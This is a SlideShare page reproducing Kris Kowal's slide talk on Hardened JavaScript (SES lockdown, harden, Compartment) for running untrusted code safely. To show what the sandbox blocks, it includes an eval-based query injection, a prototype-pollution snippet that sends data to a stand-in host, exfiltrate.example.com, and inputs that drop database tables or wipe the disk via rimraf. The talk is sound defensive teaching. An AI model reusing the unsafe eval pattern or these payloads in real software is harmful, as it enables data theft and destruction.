SlideShare uma empresa Scribd logo
1 de 32
1
Hardened
JavaScript
🧙♂️ Kris Kowal
🐦 @kriskowal
✉️ kris@agoric.com
DEC VT100 Terminal, Jason
Scott
Interaction and Vulnerability
Netscape Navigator 1.22 on
Windows
3
Interaction and Vulnerability
Running other people’s programs is dangerous
and some people will even tell you that you
shouldn’t do it.
You can run other people’s programs safely.
The solution is Hardened JavaScript.
Ulysses and the Sirens, 1891, by John William Waterhouse
Interaction and Vulnerability
User Agent
5
User agents mediate interaction. A web browser is a
user agent.
■ Browsers invite arbitrary programs off the
internet to run on your computer.
■ Server sends a program to the client.
■ The client runs the program with limited
access to local resources.
■ The browser mediates the interaction through
its user interface “chrome”.
Motorcycle Reflections, Atoma
Two parties (client and server) are easy to
safeguard, but not very interesting.
Within a user agent, multiple parties can send each
other facets of APIs and interact directly with each
other on behalf of the user.
■ Client engages two other services.
■ Client introduces one service to the other, to
communicate on its behalf.
■ Browser mediates the interaction, including
the ability to revoke communication between
third-party services at any time.
Three is a Party
6
Granovetter Diagram
■ Sandbox
■ Unforgeable references
■ Closures
■ Run-to-completion event-loop
■ Strict mode
■ Hardenable by freezing
7
Why JavaScript
Queries are
Hobbled
Programs
Consider the case of a data
service provider that accepts
arbitrary programs instead of a
weakened query language.
8
const search = query => {
const matches = [];
for (const item of database.items()) {
if (eval(query)) {
matches.push(item);
};
}
return matches;
};
// With great interaction…
search('item.price > 50 && item.size == 8');
// …comes great vulnerability.
search('database.dropAllTables(), false');
Eval is not exactly Evil
The Levenshtein Distance between Eval and Evil is not zero.
Eval is not Evil, QED.
E V I L
E 0 1 2 3
V 1 0 1 2
A 2 1 1 2
L 3 2 2 1
eval('var undefined = null');
console.log(undefined); // null
10
Direct Eval
11
const indirectEval = eval;
indirectEval('Math = 2 + 2');
// or:
(0, eval)('Array = Object');
console.log(globalThis.Array); // Object
Indirect Eval
new Function(
'value',
'globalThis.NaN = value' // 👈 siren song here
)(42);
console.log(NaN); // 42
12
Function Constructor
How Eval can be
used for Evil
13
Let me count the ways.
■ To replace constructors with imposters,
■ To subvert methods on shared prototypes,
■ To distribute furtive missives on properties of
unsuspecting objects,
■ To listen to activity through the walls with
high resolution timers,
■ To hog local resources like memory or
compute time,
■ To use powerful API’s to steal your private
keys and scribble on your disk,
■ To run your kitchen sink garbage disposal at
inopportune times,
■ To teach your pets to wage a guerrilla war for
Taming Eval
■ 🔒 Lockdown: Freeze every object the
language provides, the shared primordials.
■ 🧊 Harden: Give programs a way to deep
freeze the objects they share with other
parties.
■ 📦 Compartment: Provide a way to make
spaces that only have the shared primordials
and other explicitly shared objects.
Give programs a firm foundation to stand on to
defend their own integrity and confidentiality.
14
15
🔒 Lockdown
lockdown();
Object.isFrozen(Array); // true
Object.isFrozen(Array.prototype); // yes
Object.isFrozen(Object); // indeed
Object.isFrozen(Object.prototype); // verily
16
🧊 Harden
lockdown();
const me = {
ma: { ma: {}, pa: {} },
pa: { ma: {}, pa: {} },
};
harden(me);
Object.isFrozen(me); // true
Object.isFrozen(me.ma); // yes
Object.isFrozen(me.ma.ma); // indeed
Object.isFrozen(me.ma.pa); // verily
Object.isFrozen(me.pa); // quite
Object.isFrozen(me.pa.ma); // affirmative
Object.isFrozen(me.pa.pa); // indubitably
17
📦 Compartment
lockdown();
const compartment = new Compartment({ console });
harden(compartment.globalThis);
compartment.evaluate('console.log("Hello, World!");');
compartment.evaluate(`eval("console.log('Hi');")`);
compartment.evaluate('[]') instanceof Array; // totally
compartment.evaluate('{}') instanceof Object; // exactly
compartment.evaluate('globalThis') !== globalThis; // unique!
compartment.evaluate('Date.now()'); // NaN
compartment.evaluate('new Date()'); // Invalid Date
compartment.evaluate('Math.random'); // undefined
Within a
Compartment
18
globalThis.NaN = 42;
Math = 2 + 2;
globalThis.undefined = null;
const push = Array.prototype.push;
Array.prototype.push = (...args) => {
fetch(`https://exfiltrate.example.com?${args}`);
return push.apply(this, args);
};
Attacker cannot pollute prototypes.
19
lockdown();
const compartment = new Compartment();
harden(compartment.globalThis);
const SafeFunction = compartment.globalThis.Function;
const search = harden(query => {
const match = new SafeFunction('item', query);
const matches = [];
for (const item of database.items()) {
if (match(harden(item))) {
matches.push(item);
};
}
return harden(matches);
});
Safe
Queries
&
Hardened
JavaScript
Safe
Queries
&
Hardened
JavaScript
20
// With great interaction…
search('item.price > 50 && item.size == 8');
// ReferenceError: database
search('database.dropAllTables(), false');
// Cannot assign
search('Array.prototype.push = mitm');
// ReferenceError: require
search('require("rimraf")("/")');
Identity
Discontinuity
21
const matches = search(
'item.price > 50 && item.size == 8'
);
matches instanceof Array // no!?
22
LavaMoat and mitigating supply chain attacks
https://github.com/LavaMoat/LavaMoat
23
https://github.com/endojs/endo
24
https://github.com/endojs/endo/packages/ses
25
https://www.moddable.com/
26
Hardened JavaScript
Hardened JavaScript in the Agoric Architecture
27
modulecounts.com
28
npm-stats.com for q
Conclusion
29
Hardened JavaScript
https://github.com/endojs/endo
lockdown();
const compartment = new Compartment();
const sing = compartment.evaluate(sirenSong);
sing({
enjoyMusic() { /* … */ },
// drownYourself() { /* … */ },
});
30
Hardened
JavaScript
https://github.com/endojs/endo
$ npm install ses
🧙♂️ Kris Kowal 🐦 @kriskowal ✉️ kris@agoric.com
31
32

Mais conteúdo relacionado

Mais procurados

Stuff you didn't know about action script
Stuff you didn't know about action scriptStuff you didn't know about action script
Stuff you didn't know about action script
Christophe Herreman
 
10. session 10 loops and arrays
10. session 10   loops and arrays10. session 10   loops and arrays
10. session 10 loops and arrays
Phúc Đỗ
 

Mais procurados (20)

Swift internals
Swift internalsSwift internals
Swift internals
 
Funcitonal Swift Conference: The Functional Way
Funcitonal Swift Conference: The Functional WayFuncitonal Swift Conference: The Functional Way
Funcitonal Swift Conference: The Functional Way
 
A Re-Introduction to JavaScript
A Re-Introduction to JavaScriptA Re-Introduction to JavaScript
A Re-Introduction to JavaScript
 
LetSwift RxSwift 시작하기
LetSwift RxSwift 시작하기LetSwift RxSwift 시작하기
LetSwift RxSwift 시작하기
 
SWIFT 3
SWIFT 3SWIFT 3
SWIFT 3
 
Anonymous functions in JavaScript
Anonymous functions in JavaScriptAnonymous functions in JavaScript
Anonymous functions in JavaScript
 
JavaScript Basics and Best Practices - CC FE & UX
JavaScript Basics and Best Practices - CC FE & UXJavaScript Basics and Best Practices - CC FE & UX
JavaScript Basics and Best Practices - CC FE & UX
 
RxSwift 활용하기 - Let'Swift 2017
RxSwift 활용하기 - Let'Swift 2017RxSwift 활용하기 - Let'Swift 2017
RxSwift 활용하기 - Let'Swift 2017
 
Letswift Swift 3.0
Letswift Swift 3.0Letswift Swift 3.0
Letswift Swift 3.0
 
Stuff you didn't know about action script
Stuff you didn't know about action scriptStuff you didn't know about action script
Stuff you didn't know about action script
 
Javascript basics for automation testing
Javascript  basics for automation testingJavascript  basics for automation testing
Javascript basics for automation testing
 
Bottom Up
Bottom UpBottom Up
Bottom Up
 
10. session 10 loops and arrays
10. session 10   loops and arrays10. session 10   loops and arrays
10. session 10 loops and arrays
 
Intro to JavaScript
Intro to JavaScriptIntro to JavaScript
Intro to JavaScript
 
Powerful JavaScript Tips and Best Practices
Powerful JavaScript Tips and Best PracticesPowerful JavaScript Tips and Best Practices
Powerful JavaScript Tips and Best Practices
 
Java script
Java scriptJava script
Java script
 
Java Script Best Practices
Java Script Best PracticesJava Script Best Practices
Java Script Best Practices
 
Javascript And J Query
Javascript And J QueryJavascript And J Query
Javascript And J Query
 
Headless Js Testing
Headless Js TestingHeadless Js Testing
Headless Js Testing
 
Advanced javascript
Advanced javascriptAdvanced javascript
Advanced javascript
 

Semelhante a Hardened JavaScript

Douglas Crockford Presentation Goodparts
Douglas Crockford Presentation GoodpartsDouglas Crockford Presentation Goodparts
Douglas Crockford Presentation Goodparts
Ajax Experience 2009
 
Remote code-with-expression-language-injection
Remote code-with-expression-language-injectionRemote code-with-expression-language-injection
Remote code-with-expression-language-injection
Mickey Jack
 
Javascript: the important bits
Javascript: the important bitsJavascript: the important bits
Javascript: the important bits
Chris Saylor
 

Semelhante a Hardened JavaScript (20)

JavaScript Neednt Hurt - JavaBin talk
JavaScript Neednt Hurt - JavaBin talkJavaScript Neednt Hurt - JavaBin talk
JavaScript Neednt Hurt - JavaBin talk
 
JavaScript: The Good Parts Or: How A C# Developer Learned To Stop Worrying An...
JavaScript: The Good Parts Or: How A C# Developer Learned To Stop Worrying An...JavaScript: The Good Parts Or: How A C# Developer Learned To Stop Worrying An...
JavaScript: The Good Parts Or: How A C# Developer Learned To Stop Worrying An...
 
Virtual events in C#: something went wrong
Virtual events in C#: something went wrongVirtual events in C#: something went wrong
Virtual events in C#: something went wrong
 
Sony C#/.NET component set analysis
Sony C#/.NET component set analysisSony C#/.NET component set analysis
Sony C#/.NET component set analysis
 
Douglas Crockford Presentation Goodparts
Douglas Crockford Presentation GoodpartsDouglas Crockford Presentation Goodparts
Douglas Crockford Presentation Goodparts
 
Thinking In Swift
Thinking In SwiftThinking In Swift
Thinking In Swift
 
JavaScript Best Pratices
JavaScript Best PraticesJavaScript Best Pratices
JavaScript Best Pratices
 
Remote code-with-expression-language-injection
Remote code-with-expression-language-injectionRemote code-with-expression-language-injection
Remote code-with-expression-language-injection
 
Javascript status 2016
Javascript status 2016Javascript status 2016
Javascript status 2016
 
Javascript: the important bits
Javascript: the important bitsJavascript: the important bits
Javascript: the important bits
 
Goodparts
GoodpartsGoodparts
Goodparts
 
Mind your language(s), A Discussion about Languages and Security
Mind your language(s), A Discussion about Languages and SecurityMind your language(s), A Discussion about Languages and Security
Mind your language(s), A Discussion about Languages and Security
 
Java Performance Tuning
Java Performance TuningJava Performance Tuning
Java Performance Tuning
 
JavaScript Misunderstood
JavaScript MisunderstoodJavaScript Misunderstood
JavaScript Misunderstood
 
Discussing Errors in Unity3D's Open-Source Components
Discussing Errors in Unity3D's Open-Source ComponentsDiscussing Errors in Unity3D's Open-Source Components
Discussing Errors in Unity3D's Open-Source Components
 
Robots in Swift
Robots in SwiftRobots in Swift
Robots in Swift
 
Java script for web developer
Java script for web developerJava script for web developer
Java script for web developer
 
Javascript
JavascriptJavascript
Javascript
 
JUNit Presentation
JUNit PresentationJUNit Presentation
JUNit Presentation
 
Advanced JavaScript - Internship Presentation - Week6
Advanced JavaScript - Internship Presentation - Week6Advanced JavaScript - Internship Presentation - Week6
Advanced JavaScript - Internship Presentation - Week6
 

Último

Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak HamilCara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Kandungan 087776558899
 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ssuser89054b
 
Standard vs Custom Battery Packs - Decoding the Power Play
Standard vs Custom Battery Packs - Decoding the Power PlayStandard vs Custom Battery Packs - Decoding the Power Play
Standard vs Custom Battery Packs - Decoding the Power Play
Epec Engineered Technologies
 
"Lesotho Leaps Forward: A Chronicle of Transformative Developments"
"Lesotho Leaps Forward: A Chronicle of Transformative Developments""Lesotho Leaps Forward: A Chronicle of Transformative Developments"
"Lesotho Leaps Forward: A Chronicle of Transformative Developments"
mphochane1998
 
DeepFakes presentation : brief idea of DeepFakes
DeepFakes presentation : brief idea of DeepFakesDeepFakes presentation : brief idea of DeepFakes
DeepFakes presentation : brief idea of DeepFakes
MayuraD1
 

Último (20)

data_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfdata_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdf
 
Double Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torqueDouble Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torque
 
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak HamilCara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
 
Block diagram reduction techniques in control systems.ppt
Block diagram reduction techniques in control systems.pptBlock diagram reduction techniques in control systems.ppt
Block diagram reduction techniques in control systems.ppt
 
Generative AI or GenAI technology based PPT
Generative AI or GenAI technology based PPTGenerative AI or GenAI technology based PPT
Generative AI or GenAI technology based PPT
 
Introduction to Serverless with AWS Lambda
Introduction to Serverless with AWS LambdaIntroduction to Serverless with AWS Lambda
Introduction to Serverless with AWS Lambda
 
S1S2 B.Arch MGU - HOA1&2 Module 3 -Temple Architecture of Kerala.pptx
S1S2 B.Arch MGU - HOA1&2 Module 3 -Temple Architecture of Kerala.pptxS1S2 B.Arch MGU - HOA1&2 Module 3 -Temple Architecture of Kerala.pptx
S1S2 B.Arch MGU - HOA1&2 Module 3 -Temple Architecture of Kerala.pptx
 
Computer Networks Basics of Network Devices
Computer Networks  Basics of Network DevicesComputer Networks  Basics of Network Devices
Computer Networks Basics of Network Devices
 
Online electricity billing project report..pdf
Online electricity billing project report..pdfOnline electricity billing project report..pdf
Online electricity billing project report..pdf
 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
 
Standard vs Custom Battery Packs - Decoding the Power Play
Standard vs Custom Battery Packs - Decoding the Power PlayStandard vs Custom Battery Packs - Decoding the Power Play
Standard vs Custom Battery Packs - Decoding the Power Play
 
AIRCANVAS[1].pdf mini project for btech students
AIRCANVAS[1].pdf mini project for btech studentsAIRCANVAS[1].pdf mini project for btech students
AIRCANVAS[1].pdf mini project for btech students
 
Bhubaneswar🌹Call Girls Bhubaneswar ❤Komal 9777949614 💟 Full Trusted CALL GIRL...
Bhubaneswar🌹Call Girls Bhubaneswar ❤Komal 9777949614 💟 Full Trusted CALL GIRL...Bhubaneswar🌹Call Girls Bhubaneswar ❤Komal 9777949614 💟 Full Trusted CALL GIRL...
Bhubaneswar🌹Call Girls Bhubaneswar ❤Komal 9777949614 💟 Full Trusted CALL GIRL...
 
"Lesotho Leaps Forward: A Chronicle of Transformative Developments"
"Lesotho Leaps Forward: A Chronicle of Transformative Developments""Lesotho Leaps Forward: A Chronicle of Transformative Developments"
"Lesotho Leaps Forward: A Chronicle of Transformative Developments"
 
Engineering Drawing focus on projection of planes
Engineering Drawing focus on projection of planesEngineering Drawing focus on projection of planes
Engineering Drawing focus on projection of planes
 
Design For Accessibility: Getting it right from the start
Design For Accessibility: Getting it right from the startDesign For Accessibility: Getting it right from the start
Design For Accessibility: Getting it right from the start
 
DeepFakes presentation : brief idea of DeepFakes
DeepFakes presentation : brief idea of DeepFakesDeepFakes presentation : brief idea of DeepFakes
DeepFakes presentation : brief idea of DeepFakes
 
Minimum and Maximum Modes of microprocessor 8086
Minimum and Maximum Modes of microprocessor 8086Minimum and Maximum Modes of microprocessor 8086
Minimum and Maximum Modes of microprocessor 8086
 
COST-EFFETIVE and Energy Efficient BUILDINGS ptx
COST-EFFETIVE  and Energy Efficient BUILDINGS ptxCOST-EFFETIVE  and Energy Efficient BUILDINGS ptx
COST-EFFETIVE and Energy Efficient BUILDINGS ptx
 
Thermal Engineering -unit - III & IV.ppt
Thermal Engineering -unit - III & IV.pptThermal Engineering -unit - III & IV.ppt
Thermal Engineering -unit - III & IV.ppt
 

Hardened JavaScript

  • 1. 1 Hardened JavaScript 🧙♂️ Kris Kowal 🐦 @kriskowal ✉️ kris@agoric.com
  • 2. DEC VT100 Terminal, Jason Scott Interaction and Vulnerability Netscape Navigator 1.22 on Windows
  • 3. 3 Interaction and Vulnerability Running other people’s programs is dangerous and some people will even tell you that you shouldn’t do it. You can run other people’s programs safely. The solution is Hardened JavaScript.
  • 4. Ulysses and the Sirens, 1891, by John William Waterhouse Interaction and Vulnerability
  • 5. User Agent 5 User agents mediate interaction. A web browser is a user agent. ■ Browsers invite arbitrary programs off the internet to run on your computer. ■ Server sends a program to the client. ■ The client runs the program with limited access to local resources. ■ The browser mediates the interaction through its user interface “chrome”. Motorcycle Reflections, Atoma
  • 6. Two parties (client and server) are easy to safeguard, but not very interesting. Within a user agent, multiple parties can send each other facets of APIs and interact directly with each other on behalf of the user. ■ Client engages two other services. ■ Client introduces one service to the other, to communicate on its behalf. ■ Browser mediates the interaction, including the ability to revoke communication between third-party services at any time. Three is a Party 6 Granovetter Diagram
  • 7. ■ Sandbox ■ Unforgeable references ■ Closures ■ Run-to-completion event-loop ■ Strict mode ■ Hardenable by freezing 7 Why JavaScript
  • 8. Queries are Hobbled Programs Consider the case of a data service provider that accepts arbitrary programs instead of a weakened query language. 8 const search = query => { const matches = []; for (const item of database.items()) { if (eval(query)) { matches.push(item); }; } return matches; }; // With great interaction… search('item.price > 50 && item.size == 8'); // …comes great vulnerability. search('database.dropAllTables(), false');
  • 9. Eval is not exactly Evil The Levenshtein Distance between Eval and Evil is not zero. Eval is not Evil, QED. E V I L E 0 1 2 3 V 1 0 1 2 A 2 1 1 2 L 3 2 2 1
  • 10. eval('var undefined = null'); console.log(undefined); // null 10 Direct Eval
  • 11. 11 const indirectEval = eval; indirectEval('Math = 2 + 2'); // or: (0, eval)('Array = Object'); console.log(globalThis.Array); // Object Indirect Eval
  • 12. new Function( 'value', 'globalThis.NaN = value' // 👈 siren song here )(42); console.log(NaN); // 42 12 Function Constructor
  • 13. How Eval can be used for Evil 13 Let me count the ways. ■ To replace constructors with imposters, ■ To subvert methods on shared prototypes, ■ To distribute furtive missives on properties of unsuspecting objects, ■ To listen to activity through the walls with high resolution timers, ■ To hog local resources like memory or compute time, ■ To use powerful API’s to steal your private keys and scribble on your disk, ■ To run your kitchen sink garbage disposal at inopportune times, ■ To teach your pets to wage a guerrilla war for
  • 14. Taming Eval ■ 🔒 Lockdown: Freeze every object the language provides, the shared primordials. ■ 🧊 Harden: Give programs a way to deep freeze the objects they share with other parties. ■ 📦 Compartment: Provide a way to make spaces that only have the shared primordials and other explicitly shared objects. Give programs a firm foundation to stand on to defend their own integrity and confidentiality. 14
  • 15. 15 🔒 Lockdown lockdown(); Object.isFrozen(Array); // true Object.isFrozen(Array.prototype); // yes Object.isFrozen(Object); // indeed Object.isFrozen(Object.prototype); // verily
  • 16. 16 🧊 Harden lockdown(); const me = { ma: { ma: {}, pa: {} }, pa: { ma: {}, pa: {} }, }; harden(me); Object.isFrozen(me); // true Object.isFrozen(me.ma); // yes Object.isFrozen(me.ma.ma); // indeed Object.isFrozen(me.ma.pa); // verily Object.isFrozen(me.pa); // quite Object.isFrozen(me.pa.ma); // affirmative Object.isFrozen(me.pa.pa); // indubitably
  • 17. 17 📦 Compartment lockdown(); const compartment = new Compartment({ console }); harden(compartment.globalThis); compartment.evaluate('console.log("Hello, World!");'); compartment.evaluate(`eval("console.log('Hi');")`); compartment.evaluate('[]') instanceof Array; // totally compartment.evaluate('{}') instanceof Object; // exactly compartment.evaluate('globalThis') !== globalThis; // unique! compartment.evaluate('Date.now()'); // NaN compartment.evaluate('new Date()'); // Invalid Date compartment.evaluate('Math.random'); // undefined
  • 18. Within a Compartment 18 globalThis.NaN = 42; Math = 2 + 2; globalThis.undefined = null; const push = Array.prototype.push; Array.prototype.push = (...args) => { fetch(`https://exfiltrate.example.com?${args}`); return push.apply(this, args); }; Attacker cannot pollute prototypes.
  • 19. 19 lockdown(); const compartment = new Compartment(); harden(compartment.globalThis); const SafeFunction = compartment.globalThis.Function; const search = harden(query => { const match = new SafeFunction('item', query); const matches = []; for (const item of database.items()) { if (match(harden(item))) { matches.push(item); }; } return harden(matches); }); Safe Queries & Hardened JavaScript
  • 20. Safe Queries & Hardened JavaScript 20 // With great interaction… search('item.price > 50 && item.size == 8'); // ReferenceError: database search('database.dropAllTables(), false'); // Cannot assign search('Array.prototype.push = mitm'); // ReferenceError: require search('require("rimraf")("/")');
  • 21. Identity Discontinuity 21 const matches = search( 'item.price > 50 && item.size == 8' ); matches instanceof Array // no!?
  • 22. 22 LavaMoat and mitigating supply chain attacks https://github.com/LavaMoat/LavaMoat
  • 26. 26 Hardened JavaScript Hardened JavaScript in the Agoric Architecture
  • 29. Conclusion 29 Hardened JavaScript https://github.com/endojs/endo lockdown(); const compartment = new Compartment(); const sing = compartment.evaluate(sirenSong); sing({ enjoyMusic() { /* … */ }, // drownYourself() { /* … */ }, });
  • 30. 30 Hardened JavaScript https://github.com/endojs/endo $ npm install ses 🧙♂️ Kris Kowal 🐦 @kriskowal ✉️ kris@agoric.com
  • 31. 31
  • 32. 32